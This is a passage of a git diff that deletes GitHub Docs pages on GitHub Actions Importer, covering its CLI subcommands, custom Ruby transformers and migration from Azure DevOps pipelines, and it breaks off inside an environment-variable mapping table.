-To ensure you're running the latest version of {% data variables.product.prodname_actions_importer %}, you should regularly run the `update` command:
-
-```bash
-gh actions-importer update
-```
-
-### Authenticating at the command line
-
-You must configure credentials that allow {% data variables.product.prodname_actions_importer %} to communicate with {% data variables.product.prodname_dotcom %} and your current CI server. You can configure these credentials using environment variables or a `.env.local` file. The environment variables can be configured in an interactive prompt, by running the following command:
-
-```bash
-gh actions-importer configure
-```
-
-## Using the {% data variables.product.prodname_actions_importer %} CLI
-
-Use the subcommands of `gh actions-importer` to begin your migration to {% data variables.product.prodname_actions %}, including `audit`, `forecast`, `dry-run`, and `migrate`.
-
-### Auditing your existing CI pipelines
-
-The `audit` subcommand can be used to plan your CI/CD migration by analyzing your current CI/CD footprint. This analysis can be used to plan a timeline for migrating to {% data variables.product.prodname_actions %}.
-
-To run an audit, use the following command to determine your available options:
-
-```bash
-$ gh actions-importer audit -h
-Description:
- Plan your CI/CD migration by analyzing your current CI/CD footprint.
-
-[...]
-
-Commands:
- azure-devops An audit will output a list of data used in an Azure DevOps instance.
- bamboo An audit will output a list of data used in a Bamboo instance.
- circle-ci An audit will output a list of data used in a CircleCI instance.
- gitlab An audit will output a list of data used in a GitLab instance.
- jenkins An audit will output a list of data used in a Jenkins instance.
- travis-ci An audit will output a list of data used in a Travis CI instance.
-```
-
-### Forecasting usage
-
-The `forecast` subcommand reviews historical pipeline usage to create a forecast of {% data variables.product.prodname_actions %} usage.
-
-To run a forecast, use the following command to determine your available options:
-
-```bash
-$ gh actions-importer forecast -h
-Description:
- Forecasts GitHub Actions usage from historical pipeline utilization.
-
-[...]
-
-Commands:
- azure-devops Forecasts GitHub Actions usage from historical Azure DevOps pipeline utilization.
- bamboo Forecasts GitHub Actions usage from historical Bamboo pipeline utilization.
- jenkins Forecasts GitHub Actions usage from historical Jenkins pipeline utilization.
- gitlab Forecasts GitHub Actions usage from historical GitLab pipeline utilization.
- circle-ci Forecasts GitHub Actions usage from historical CircleCI pipeline utilization.
- travis-ci Forecasts GitHub Actions usage from historical Travis CI pipeline utilization.
- github Forecasts GitHub Actions usage from historical GitHub pipeline utilization.
-```
-
-### Testing the migration process
-
-The `dry-run` subcommand can be used to convert a pipeline to its {% data variables.product.prodname_actions %} equivalent, and then write the workflow to your local filesystem.
-
-To perform a dry run, use the following command to determine your available options:
-
-```bash
-$ gh actions-importer dry-run -h
-Description:
- Convert a pipeline to a GitHub Actions workflow and output its yaml file.
-
-[...]
-
-Commands:
- azure-devops Convert an Azure DevOps pipeline to a GitHub Actions workflow and output its yaml file.
- bamboo Convert a Bamboo pipeline to GitHub Actions workflows and output its yaml file.
- circle-ci Convert a CircleCI pipeline to GitHub Actions workflows and output the yaml file(s).
- gitlab Convert a GitLab pipeline to a GitHub Actions workflow and output the yaml file.
- jenkins Convert a Jenkins job to a GitHub Actions workflow and output its yaml file.
- travis-ci Convert a Travis CI pipeline to a GitHub Actions workflow and output its yaml file.
-```
-
-### Migrating a pipeline to {% data variables.product.prodname_actions %}
-
-The `migrate` subcommand can be used to convert a pipeline to its GitHub Actions equivalent and then create a pull request with the contents.
-
-To run a migration, use the following command to determine your available options:
-
-```bash
-$ gh actions-importer migrate -h
-Description:
- Convert a pipeline to a GitHub Actions workflow and open a pull request with the changes.
-
-[...]
-
-Commands:
- azure-devops Convert an Azure DevOps pipeline to a GitHub Actions workflow and open a pull request with the changes.
- bamboo Convert a Bamboo pipeline to GitHub Actions workflows and open a pull request with the changes.
- circle-ci Convert a CircleCI pipeline to GitHub Actions workflows and open a pull request with the changes.
- gitlab Convert a GitLab pipeline to a GitHub Actions workflow and open a pull request with the changes.
- jenkins Convert a Jenkins job to a GitHub Actions workflow and open a pull request with the changes.
- travis-ci Convert a Travis CI pipeline to a GitHub Actions workflow and open a pull request with the changes.
-```
-
-## Performing self-serve migrations using IssueOps
-
-You can use {% data variables.product.prodname_actions %} and {% data variables.product.prodname_github_issues %} to run CLI commands for {% data variables.product.prodname_actions_importer %}. This allows you to migrate your CI/CD workflows without installing software on your local machine. This approach is especially useful for organizations that want to enable self-service migrations to {% data variables.product.prodname_actions %}. Once IssueOps is configured, users can open an issue with the relevant template to migrate pipelines to {% data variables.product.prodname_actions %}.
-
-For more information about setting up self-serve migrations with IssueOps, see the [`actions/importer-issue-ops`](https://github.com/actions/importer-issue-ops) template repository.
-
-## Using the {% data variables.product.prodname_actions_importer %} labs repository
-
-The {% data variables.product.prodname_actions_importer %} labs repository contains platform-specific learning paths that teach you how to use {% data variables.product.prodname_actions_importer %} and how to approach migrations to {% data variables.product.prodname_actions %}. You can use this repository to learn how to use {% data variables.product.prodname_actions_importer %} to help plan, forecast, and automate your migration to {% data variables.product.prodname_actions %}.
-
-To learn more, see the [GitHub Actions Importer labs repository](https://github.com/actions/importer-labs/tree/main#readme).
-
-## Legal notice
-
-{% data reusables.actions.actions-importer-legal-notice %}
diff --git a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/extending-github-actions-importer-with-custom-transformers.md b/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/extending-github-actions-importer-with-custom-transformers.md
deleted file mode 100644
index a42e986fb049..000000000000
--- a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/extending-github-actions-importer-with-custom-transformers.md
+++ /dev/null
@@ -1,173 +0,0 @@
----
-title: Extending GitHub Actions Importer with custom transformers
-intro: '{% data variables.product.prodname_actions_importer %} offers the ability to extend its built-in mapping.'
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: how_to
-topics:
- - Migration
- - CI
- - CD
-shortTitle: Extending GitHub Actions Importer
-redirect_from:
- - /actions/migrating-to-github-actions/automated-migrations/extending-github-actions-importer-with-custom-transformers
----
-
-[Legal notice](#legal-notice)
-
-## About custom transformers
-
-{% data variables.product.prodname_actions_importer %} offers the ability to extend its built-in mapping by creating custom transformers. Custom transformers can be used to:
-
-* Convert items that {% data variables.product.prodname_actions_importer %} does not automatically convert, or modify how items are converted. For more information, see [Creating custom transformers for items](#creating-custom-transformers-for-items).
-* Convert references to runners to use different runner labels. For more information, see [Creating custom transformers for runners](#creating-custom-transformers-for-runners).
-* Convert environment variable values from your existing pipelines to {% data variables.product.prodname_actions %} workflows. For more information, see [Creating custom transformers for environment variables](#creating-custom-transformers-for-environment-variables).
-
-## Using custom transformers with {% data variables.product.prodname_actions_importer %}
-
-A custom transformer contains mapping logic that {% data variables.product.prodname_actions_importer %} can use to transform your plugins, tasks, runner labels, or environment variables to work with {% data variables.product.prodname_actions %}. Custom transformers are written with a domain-specific language (DSL) built on top of Ruby, and are defined within a file with the `.rb` file extension.
-
-You can use the `--custom-transformers` CLI option to specify which custom transformer files to use with the `audit`, `dry-run`, and `migrate` commands.
-
-For example, if custom transformers are defined in a file named `transformers.rb`, you can use the following command to use them with {% data variables.product.prodname_actions_importer %}:
-
-```shell
-gh actions-importer ... --custom-transformers transformers.rb
-```
-
-Alternatively, you can use the glob pattern syntax to specify multiple custom transformer files. For example, if multiple custom transformer files are within a directory named `transformers`, you can provide them all to {% data variables.product.prodname_actions_importer %} with the following command:
-
-```shell
-gh actions-importer ... --custom-transformers transformers/*.rb
-```
-
-> [!NOTE]
-> When you use custom transformers, the custom transformer files must reside in the same directory, or in subdirectories, from where the `gh actions-importer` command is run.
-
-## Creating custom transformers for items
-
-You can create custom transformers that {% data variables.product.prodname_actions_importer %} will use when converting existing build steps or triggers to their equivalent in {% data variables.product.prodname_actions %}. This is especially useful when:
-
-* {% data variables.product.prodname_actions_importer %} doesn't automatically convert an item.
-* You want to change how an item is converted by {% data variables.product.prodname_actions_importer %}.
-* Your existing pipelines use custom or proprietary extensions, such as shared libraries in Jenkins, and you need to define how these steps should function in {% data variables.product.prodname_actions %}.
-
-{% data variables.product.prodname_actions_importer %} uses custom transformers that are defined using a DSL built on top of Ruby. In order to create custom transformers for build steps and triggers:
-
-* Each custom transformer file must contain at least one `transform` method.
-* Each `transform` method must return a `Hash`, an array of `Hash`'s, or `nil`. This returned value will correspond to an action defined in YAML. For more information about actions, see [AUTOTITLE](/actions/learn-github-actions/understanding-github-actions).
-
-### Example custom transformer for a build step
-
-The following example converts a build step that uses the "buildJavaScriptApp" identifier to run various `npm` commands:
-
-```ruby copy
-transform "buildJavaScriptApp" do |item|
- command = ["build", "package", "deploy"].map do |script|
- "npm run #{script}"
- end
-
- {
- name: "build javascript app",
- run: command.join("\n")
- }
-end
-```
-
-The above example results in the following {% data variables.product.prodname_actions %} workflow step. It is comprised of converted build steps that had a `buildJavaScriptApp` identifier:
-
-```yaml
-- name: build javascript app
- run: |
- npm run build
- npm run package
- npm run deploy
-```
-
-The `transform` method uses the identifier of the build step from your source CI/CD instance in an argument. In this example, the identifier is `buildJavaScriptLibrary`. You can also use comma-separated values to pass multiple identifiers to the `transform` method. For example, `transform "buildJavaScriptApp", "buildTypeScriptApp" { |item| ... }`.
-
-> [!NOTE]
-> The data structure of `item` will be different depending on the CI/CD platform and the type of item being converted.
-
-## Creating custom transformers for runners
-
-You can customize the mapping between runners in your source CI/CD instance and their equivalent {% data variables.product.prodname_actions %} runners.
-
-{% data variables.product.prodname_actions_importer %} uses custom transformers that are defined using a DSL built on top of Ruby. To create custom transformers for runners:
-
-* The custom transformer file must have at least one `runner` method.
-* The `runner` method accepts two parameters. The first parameter is the source CI/CD instance's runner label, and the second parameter is the corresponding {% data variables.product.prodname_actions %} runner label. For more information on {% data variables.product.prodname_actions %} runners, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-runners-and-hardware-resources).
-
-### Example custom transformers for runners
-
-The following example shows a `runner` method that converts one runner label to one {% data variables.product.prodname_actions %} runner label in the resulting workflow.
-
-```ruby copy
-runner "linux", "ubuntu-latest"
-```
-
-You can also use the `runner` method to convert one runner label to multiple {% data variables.product.prodname_actions %} runner labels in the resulting workflow.
-
-```ruby copy
-runner "big-agent", ["self-hosted", "xl", "linux"]
-```
-
-{% data variables.product.prodname_actions_importer %} attempts to map the runner label as best it can. In cases where it cannot do this, the `ubuntu-latest` runner label is used as a default. You can use a special keyword with the `runner` method to control this default value. For example, the following custom transformer instructs {% data variables.product.prodname_actions_importer %} to use `macos-latest` as the default runner instead of `ubuntu-latest`.
-
-```ruby copy
-runner :default, "macos-latest"
-```
-
-## Creating custom transformers for environment variables
-
-You can customize the mapping between environment variables in your source CI/CD pipelines to their values in {% data variables.product.prodname_actions %}.
-
-{% data variables.product.prodname_actions_importer %} uses custom transformers that are defined using a DSL built on top of Ruby. To create custom transformers for environment variables:
-
-* The custom transformer file must have at least one `env` method.
-* The `env` method accepts two parameters. The first parameter is the name of the environment variable in the original pipeline, and the second parameter is the updated value for the environment variable for {% data variables.product.prodname_actions %}. For more information about {% data variables.product.prodname_actions %} environment variables, see [AUTOTITLE](/actions/learn-github-actions/variables).
-
-### Example custom transformers for environment variables
-
-There are several ways you can set up custom transformers to map your environment variables.
-
-* The following example sets the value of any existing environment variables named `OCTO`, to `CAT` when transforming a pipeline.
-
- ```ruby copy
- env "OCTO", "CAT"
- ```
-
- You can also remove all instances of a specific environment variable so they are not transformed to an {% data variables.product.prodname_actions %} workflow. The following example removes all environment variables with the name `MONA_LISA`.
-
- ```ruby copy
- env "MONA_LISA", nil
- ```
-
-* You can also map your existing environment variables to secrets. For example, the following `env` method maps an environment variable named `MONALISA` to a secret named `OCTOCAT`.
-
- ```ruby copy
- env "MONALISA", secret("OCTOCAT")
- ```
-
- This will set up a reference to a secret named `OCTOCAT` in the transformed workflow. For the secret to work, you will need to create the secret in your GitHub repository. For more information, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions#creating-secrets-for-a-repository).
-
-* You can also use regular expressions to update the values of multiple environment variables at once. For example, the following custom transformer removes all environment variables from the converted workflow:
-
- ```ruby copy
- env /.*/, nil
- ```
-
- The following example uses a regular expression match group to transform environment variable values to dynamically generated secrets.
-
- ```ruby copy
- env /^(.+)_SSH_KEY/, secret("%s_SSH_KEY)
- ```
-
- > [!NOTE]
- > The order in which `env` methods are defined matters when using regular expressions. The first `env` transformer that matches an environment variable name takes precedence over subsequent `env` methods. You should define your most specific environment variable transformers first.
-
-## Legal notice
-
-{% data reusables.actions.actions-importer-legal-notice %}
diff --git a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/index.md b/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/index.md
deleted file mode 100644
index 308059c51592..000000000000
--- a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/index.md
+++ /dev/null
@@ -1,23 +0,0 @@
----
-title: 'Using {% data variables.product.prodname_actions_importer %} to automate migrations'
-shortTitle: Automated migrations
-intro: 'Learn how to use {% data variables.product.prodname_actions_importer %} to migrate your CI/CD workflows to {% data variables.product.prodname_actions %}.'
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-children:
- - /automating-migration-with-github-actions-importer
- - /extending-github-actions-importer-with-custom-transformers
- - /supplemental-arguments-and-settings
- - /migrating-from-azure-devops-with-github-actions-importer
- - /migrating-from-bamboo-with-github-actions-importer
- - /migrating-from-bitbucket-pipelines-with-github-actions-importer
- - /migrating-from-circleci-with-github-actions-importer
- - /migrating-from-gitlab-with-github-actions-importer
- - /migrating-from-jenkins-with-github-actions-importer
- - /migrating-from-travis-ci-with-github-actions-importer
-redirect_from:
- - /actions/migrating-to-github-actions/automated-migrations
----
-
diff --git a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-azure-devops-with-github-actions-importer.md b/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-azure-devops-with-github-actions-importer.md
deleted file mode 100644
index 009bb51d3ac5..000000000000
--- a/content/actions/migrating-to-github-actions/using-github-actions-importer-to-automate-migrations/migrating-from-azure-devops-with-github-actions-importer.md
+++ /dev/null
@@ -1,544 +0,0 @@
----
-title: Migrating from Azure DevOps with GitHub Actions Importer
-intro: 'Learn how to use {% data variables.product.prodname_actions_importer %} to automate the migration of your Azure DevOps pipelines to {% data variables.product.prodname_actions %}.'
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-type: tutorial
-topics:
- - Migration
- - CI
- - CD
-shortTitle: Azure DevOps migration
-redirect_from:
- - /actions/migrating-to-github-actions/automated-migrations/migrating-from-azure-devops-with-github-actions-importer
----
-
-[Legal notice](#legal-notice)
-
-## About migrating from Azure DevOps with GitHub Actions Importer
-
-The instructions below will guide you through configuring your environment to use {% data variables.product.prodname_actions_importer %} to migrate Azure DevOps pipelines to {% data variables.product.prodname_actions %}.
-
-### Prerequisites
-
-* An Azure DevOps account or organization with projects and pipelines that you want to convert to {% data variables.product.prodname_actions %} workflows.
-* Access to create an Azure DevOps {% data variables.product.pat_generic %} for your account or organization.
-{% data reusables.actions.actions-importer-prerequisites %}
-
-### Limitations
-
-There are some limitations when migrating from Azure DevOps to {% data variables.product.prodname_actions %} with {% data variables.product.prodname_actions_importer %}:
-
-* {% data variables.product.prodname_actions_importer %} requires version 5.0 of the Azure DevOps API, available in either Azure DevOps Services or Azure DevOps Server 2019. Older versions of Azure DevOps Server are not compatible.
-* Tasks that are implicitly added to an Azure DevOps pipeline, such as checking out source code, may be added to a {% data variables.product.prodname_actions_importer %} audit as a GUID name. To find the friendly task name for a GUID, you can use the following URL: `https://dev.azure.com/:organization/_apis/distributedtask/tasks/:guid`.
-
-#### Manual tasks
-
-Certain Azure DevOps constructs must be migrated manually from Azure DevOps into {% data variables.product.prodname_actions %} configurations. These include:
-* Organization, repository, and environment secrets
-* Service connections such as OIDC Connect, {% data variables.product.prodname_github_apps %}, and {% data variables.product.pat_generic_plural %}
-* Unknown tasks
-* Self-hosted agents
-* Environments
-* Pre-deployment approvals
-
-For more information on manual migrations, see [AUTOTITLE](/actions/migrating-to-github-actions/manually-migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions).
-
-#### Unsupported tasks
-
-{% data variables.product.prodname_actions_importer %} does not support migrating the following tasks:
-
-* Pre-deployment gates
-* Post-deployment gates
-* Post-deployment approvals
-* Some resource triggers
-
-## Installing the {% data variables.product.prodname_actions_importer %} CLI extension
-
-{% data reusables.actions.installing-actions-importer %}
-
-## Configuring credentials
-
-The `configure` CLI command is used to set required credentials and options for {% data variables.product.prodname_actions_importer %} when working with Azure DevOps and {% data variables.product.prodname_dotcom %}.
-
-1. Create a {% data variables.product.prodname_dotcom %} {% data variables.product.pat_v1 %}. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#creating-a-personal-access-token-classic).
-
- Your token must have the `workflow` scope.
-
- After creating the token, copy it and save it in a safe location for later use.
-1. Create an Azure DevOps {% data variables.product.pat_generic %}. For more information, see [Use {% data variables.product.pat_generic_plural %}](https://learn.microsoft.com/en-us/azure/devops/organizations/accounts/use-personal-access-tokens-to-authenticate?view=azure-devops&tabs=Windows#create-a-pat) in the Azure DevOps documentation. The token must have the following scopes:
-
- * Agents Pool: `Read`
- * Build: `Read`
- * Code: `Read`
- * Release: `Read`
- * Service Connections: `Read`
- * Task Groups: `Read`
- * Variable Groups: `Read`
-
- After creating the token, copy it and save it in a safe location for later use.
-1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `configure` CLI command:
-
- ```shell
- gh actions-importer configure
- ```
-
- The `configure` command will prompt you for the following information:
-
- * For "Which CI providers are you configuring?", use the arrow keys to select `Azure DevOps`, press Space to select it, then press Enter.
- * For "{% data variables.product.pat_generic_caps %} for GitHub", enter the value of the {% data variables.product.pat_v1 %} that you created earlier, and press Enter.
- * For "Base url of the GitHub instance", {% ifversion ghes %}enter the URL for {% data variables.location.product_location_enterprise %}, and press Enter.{% else %}press Enter to accept the default value (`https://github.com`).{% endif %}
- * For "{% data variables.product.pat_generic_caps %} for Azure DevOps", enter the value for the Azure DevOps {% data variables.product.pat_generic %} that you created earlier, and press Enter.
- * For "Base url of the Azure DevOps instance", press Enter to accept the default value (`https://dev.azure.com`).
- * For "Azure DevOps organization name", enter the name for your Azure DevOps organization, and press Enter.
- * For "Azure DevOps project name", enter the name for your Azure DevOps project, and press Enter.
-
- An example of the `configure` command is shown below:
-
- ```shell
- $ gh actions-importer configure
- ✔ Which CI providers are you configuring?: Azure DevOps
- Enter the following values (leave empty to omit):
- ✔ {% data variables.product.pat_generic_caps %} for GitHub: ***************
- ✔ Base url of the GitHub instance: https://github.com
- ✔ {% data variables.product.pat_generic_caps %} for Azure DevOps: ***************
- ✔ Base url of the Azure DevOps instance: https://dev.azure.com
- ✔ Azure DevOps organization name: :organization
- ✔ Azure DevOps project name: :project
- Environment variables successfully updated.
- ```
-
-1. In your terminal, run the {% data variables.product.prodname_actions_importer %} `update` CLI command to connect to the {% data variables.product.prodname_registry %} {% data variables.product.prodname_container_registry %} and ensure that the container image is updated to the latest version:
-
- ```shell
- gh actions-importer update
- ```
-
- The output of the command should be similar to below:
-
- ```shell
- Updating ghcr.io/actions-importer/cli:latest...
- ghcr.io/actions-importer/cli:latest up-to-date
- ```
-
-## Perform an audit of Azure DevOps
-
-You can use the `audit` command to get a high-level view of all projects in an Azure DevOps organization.
-
-The `audit` command performs the following steps:
-
-1. Fetches all of the projects defined in an Azure DevOps organization.
-1. Converts each pipeline to its equivalent {% data variables.product.prodname_actions %} workflow.
-1. Generates a report that summarizes how complete and complex of a migration is possible with {% data variables.product.prodname_actions_importer %}.
-
-### Running the audit command
-
-To perform an audit of an Azure DevOps organization, run the following command in your terminal:
-
-```shell
-gh actions-importer audit azure-devops --output-dir tmp/audit
-```
-
-### Inspecting the audit results
-
-{% data reusables.actions.gai-inspect-audit %}
-
-## Forecast potential {% data variables.product.prodname_actions %} usage
-
-You can use the `forecast` command to forecast potential {% data variables.product.prodname_actions %} usage by computing metrics from completed pipeline runs in Azure DevOps.
-
-### Running the forecast command
-
-To perform a forecast of potential {% data variables.product.prodname_actions %} usage, run the following command in your terminal. By default, {% data variables.product.prodname_actions_importer %} includes the previous seven days in the forecast report.
-
-```shell
-gh actions-importer forecast azure-devops --output-dir tmp/forecast_reports
-```
-
-### Inspecting the forecast report
-
-The `forecast_report.md` file in the specified output directory contains the results of the forecast.
-
-Listed below are some key terms that can appear in the forecast report:
-
-* The **job count** is the total number of completed jobs.
-* The **pipeline count** is the number of unique pipelines used.
-* **Execution time** describes the amount of time a runner spent on a job. This metric can be used to help plan for the cost of {% data variables.product.prodname_dotcom %}-hosted runners.
-
- This metric is correlated to how much you should expect to spend in {% data variables.product.prodname_actions %}. This will vary depending on the hardware used for these minutes. You can use the [{% data variables.product.prodname_actions %} pricing calculator](https://github.com/pricing/calculator) to estimate the costs.
-* **Queue time** metrics describe the amount of time a job spent waiting for a runner to be available to execute it.
-* **Concurrent jobs** metrics describe the amount of jobs running at any given time. This metric can be used to define the number of runners you should configure.
-
-Additionally, these metrics are defined for each queue of runners in Azure DevOps. This is especially useful if there is a mix of hosted or self-hosted runners, or high or low spec machines, so you can see metrics specific to different types of runners.
-
-## Perform a dry-run migration
-
-You can use the `dry-run` command to convert an Azure DevOps pipeline to an equivalent {% data variables.product.prodname_actions %} workflow. A dry run creates the output files in a specified directory, but does not open a pull request to migrate the pipeline.
-
-{% data reusables.actions.gai-custom-transformers-rec %}
-
-### Running the dry-run command for a build pipeline
-
-To perform a dry run of migrating your Azure DevOps build pipeline to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing `pipeline_id` with the ID of the pipeline you are converting.
-
-```shell
-gh actions-importer dry-run azure-devops pipeline --pipeline-id :pipeline_id --output-dir tmp/dry-run
-```
-
-You can view the logs of the dry run and the converted workflow files in the specified output directory.
-
-### Running the dry-run command for a release pipeline
-
-To perform a dry run of migrating your Azure DevOps release pipeline to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing `pipeline_id` with the ID of the pipeline you are converting.
-
-```shell
-gh actions-importer dry-run azure-devops release --pipeline-id :pipeline_id --output-dir tmp/dry-run
-```
-
-You can view the logs of the dry run and the converted workflow files in the specified output directory.
-
-## Perform a production migration
-
-You can use the `migrate` command to convert an Azure DevOps pipeline and open a pull request with the equivalent {% data variables.product.prodname_actions %} workflow.
-
-### Running the migrate command for a build pipeline
-
-To migrate an Azure DevOps build pipeline to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing the `target-url` value with the URL for your {% data variables.product.prodname_dotcom %} repository, and `pipeline_id` with the ID of the pipeline you are converting.
-
-```shell
-gh actions-importer migrate azure-devops pipeline --pipeline-id :pipeline_id --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate
-```
-
-The command's output includes the URL of the pull request that adds the converted workflow to your repository. An example of a successful output is similar to the following:
-
-```shell
-$ gh actions-importer migrate azure-devops pipeline --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate --azure-devops-project my-azure-devops-project
-[2022-08-20 22:08:20] Logs: 'tmp/migrate/log/actions-importer-20220916-014033.log'
-[2022-08-20 22:08:20] Pull request: 'https://github.com/octo-org/octo-repo/pull/1'
-```
-
-### Running the migrate command for a release pipeline
-
-To migrate an Azure DevOps release pipeline to {% data variables.product.prodname_actions %}, run the following command in your terminal, replacing the `target-url` value with the URL for your {% data variables.product.prodname_dotcom %} repository, and `pipeline_id` with the ID of the pipeline you are converting.
-
-```shell
-gh actions-importer migrate azure-devops release --pipeline-id :pipeline_id --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate
-```
-
-The command's output includes the URL of the pull request that adds the converted workflow to your repository. An example of a successful output is similar to the following:
-
-```shell
-$ gh actions-importer migrate azure-devops release --target-url https://github.com/octo-org/octo-repo --output-dir tmp/migrate --azure-devops-project my-azure-devops-project
-[2022-08-20 22:08:20] Logs: 'tmp/migrate/log/actions-importer-20220916-014033.log'
-[2022-08-20 22:08:20] Pull request: 'https://github.com/octo-org/octo-repo/pull/1'
-```
-
-{% data reusables.actions.gai-inspect-pull-request %}
-
-## Reference
-
-This section contains reference information on environment variables, optional arguments, and supported syntax when using {% data variables.product.prodname_actions_importer %} to migrate from Azure DevOps.
-
-### Configuration environment variables
-
-{% data reusables.actions.gai-config-environment-variables %}
-
-{% data variables.product.prodname_actions_importer %} uses the following environment variables to connect to your Azure DevOps instance:
-
-* `GITHUB_ACCESS_TOKEN`: The {% data variables.product.pat_v1 %} used to create pull requests with a converted workflow (requires the `workflow` scope).
-* `GITHUB_INSTANCE_URL`: The URL to the target {% data variables.product.prodname_dotcom %} instance (for example, `https://github.com`).
-* `AZURE_DEVOPS_ACCESS_TOKEN`: The {% data variables.product.pat_generic %} used to authenticate with your Azure DevOps instance. This token requires the following scopes:
- * Build: `Read`
- * Agent Pools: `Read`
- * Code: `Read`
- * Release: `Read`
- * Service Connections: `Read`
- * Task Groups: `Read`
- * Variable Groups: `Read`
-* `AZURE_DEVOPS_PROJECT`: The project name or GUID to use when migrating a pipeline. If you'd like to perform an audit on all projects, this is optional.
-* `AZURE_DEVOPS_ORGANIZATION`: The organization name of your Azure DevOps instance.
-* `AZURE_DEVOPS_INSTANCE_URL`: The URL to the Azure DevOps instance, such as `https://dev.azure.com`.
-
-These environment variables can be specified in a `.env.local` file that is loaded by {% data variables.product.prodname_actions_importer %} when it is run.
-
-### Optional arguments
-
-{% data reusables.actions.gai-optional-arguments-intro %}
-
-#### `--source-file-path`
-
-You can use the `--source-file-path` argument with the `forecast`, `dry-run`, or `migrate` subcommands.
-
-By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from source control. The `--source-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source file path instead.
-
-For example:
-
-```shell
-gh actions-importer dry-run azure-devops pipeline --output-dir ./output/ --source-file-path ./path/to/azure_devops/pipeline.yml
-```
-
-#### `--config-file-path`
-
-You can use the `--config-file-path` argument with the `audit`, `dry-run`, and `migrate` subcommands.
-
-By default, {% data variables.product.prodname_actions_importer %} fetches pipeline contents from source control. The `--config-file-path` argument tells {% data variables.product.prodname_actions_importer %} to use the specified source files instead.
-
-The `--config-file-path` argument can also be used to specify which repository a converted reusable workflow or composite action should be migrated to.
-
-##### Audit example
-
-In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file as the source file to perform an audit.
-
-```shell
-gh actions-importer audit azure-devops pipeline --output-dir ./output/ --config-file-path ./path/to/azure_devops/config.yml
-```
-
-To audit an Azure DevOps instance using a configuration file, the configuration file must be in the following format and each `repository_slug` must be unique:
-
-```yaml
-source_files:
- - repository_slug: azdo-project/1
- path: file.yml
- - repository_slug: azdo-project/2
- paths: path.yml
-```
-
-You can generate the `repository_slug` for a pipeline by combining the Azure DevOps organization name, project name, and the pipeline ID. For example, `my-organization-name/my-project-name/42`.
-
-##### Dry run example
-
-In this example, {% data variables.product.prodname_actions_importer %} uses the specified YAML configuration file as the source file to perform a dry run.
-
-The pipeline is selected by matching the `repository_slug` in the configuration file to the value of the `--azure-devops-organization` and `--azure-devops-project` option. The `path` is then used to pull the specified source file.
-
-```shell
-gh actions-importer dry-run azure-devops pipeline --output-dir ./output/ --config-file-path ./path/to/azure_devops/config.yml
-```
-
-##### Specify the repository of converted reusable workflows and composite actions
-
-{% data variables.product.prodname_actions_importer %} uses the YAML file provided to the `--config-file-path` argument to determine the repository that converted reusable workflows and composite actions are migrated to.
-
-To begin, you should run an audit without the `--config-file-path` argument:
-
-```shell
-gh actions-importer audit azure-devops --output-dir ./output/
-```
-
-The output of this command will contain a file named `config.yml` that contains a list of all the reusable workflows and composite actions that were converted by {% data variables.product.prodname_actions_importer %}. For example, the `config.yml` file may have the following contents:
-
-```yaml
-reusable_workflows:
- - name: my-reusable-workflow.yml
- target_url: https://github.com/octo-org/octo-repo
- ref: main
-
-composite_actions:
- - name: my-composite-action.yml
- target_url: https://github.com/octo-org/octo-repo
- ref: main
-```
-
-You can use this file to specify which repository and ref a reusable workflow or composite action should be added to. You can then use the `--config-file-path` argument to provide the `config.yml` file to {% data variables.product.prodname_actions_importer %}. For example, you can use this file when running a `migrate` command to open a pull request for each unique repository defined in the config file:
-
-```shell
-gh actions-importer migrate azure-devops pipeline --config-file-path config.yml --target-url https://github.com/my-org/my-repo
-```
-
-### Supported syntax for Azure DevOps pipelines
-
-The following table shows the type of properties that {% data variables.product.prodname_actions_importer %} is currently able to convert.
-
-| Azure Pipelines | {% data variables.product.prodname_actions %} | Status |
-| :-------------------- | :------------------------------------ | :------------------ |
-| condition | - `jobs..if`
- `jobs..steps[*].if`
| Supported |
-| container | - `jobs..container`
- `jobs..name`
| Supported |
-| continuousIntegration | | Supported |
-| job | | Supported |
-| pullRequest | | Supported |
-| stage | | Supported |
-| steps | | Supported |
-| strategy | - `jobs..strategy.fail-fast`
- `jobs..strategy.max-parallel`
- `jobs..strategy.matrix`
| Supported |
-| timeoutInMinutes | | Supported |
-| variables | - `env`
- `jobs..env`
- `jobs..steps.env`
| Supported |
-| manual deployment | | Partially supported |
-| pool | - `runners`
- `self hosted runners`
| Partially supported |
-| services | | Partially supported |
-| strategy | | Partially supported |
-| triggers | | Partially supported |
-| pullRequest | | Unsupported |
-| schedules | - `on.schedule`
- `on.workflow_run`
| Unsupported |
-| triggers | | Unsupported |
-
-For more information about supported Azure DevOps tasks, see the [`github/gh-actions-importer` repository](https://github.com/github/gh-actions-importer/blob/main/docs/azure_devops/index.md).
-
-### Environment variable mapping
-
-{% data variables.product.prodname_actions_importer %} uses the mapping in the table below to convert default Azure DevOps environment variables to the closest equivalent in {% data variables.product.prodname_actions %}.
-
-| Azure Pipelines | {% data variables.product.prodname_actions %} |
-| :------------------------------------------ | :-------------------------------------------------- |
-| {% raw %}`$(Agent.BuildDirectory)`{% endraw %} | {% raw %}`${{ runner.workspace }}`{% endraw %} |
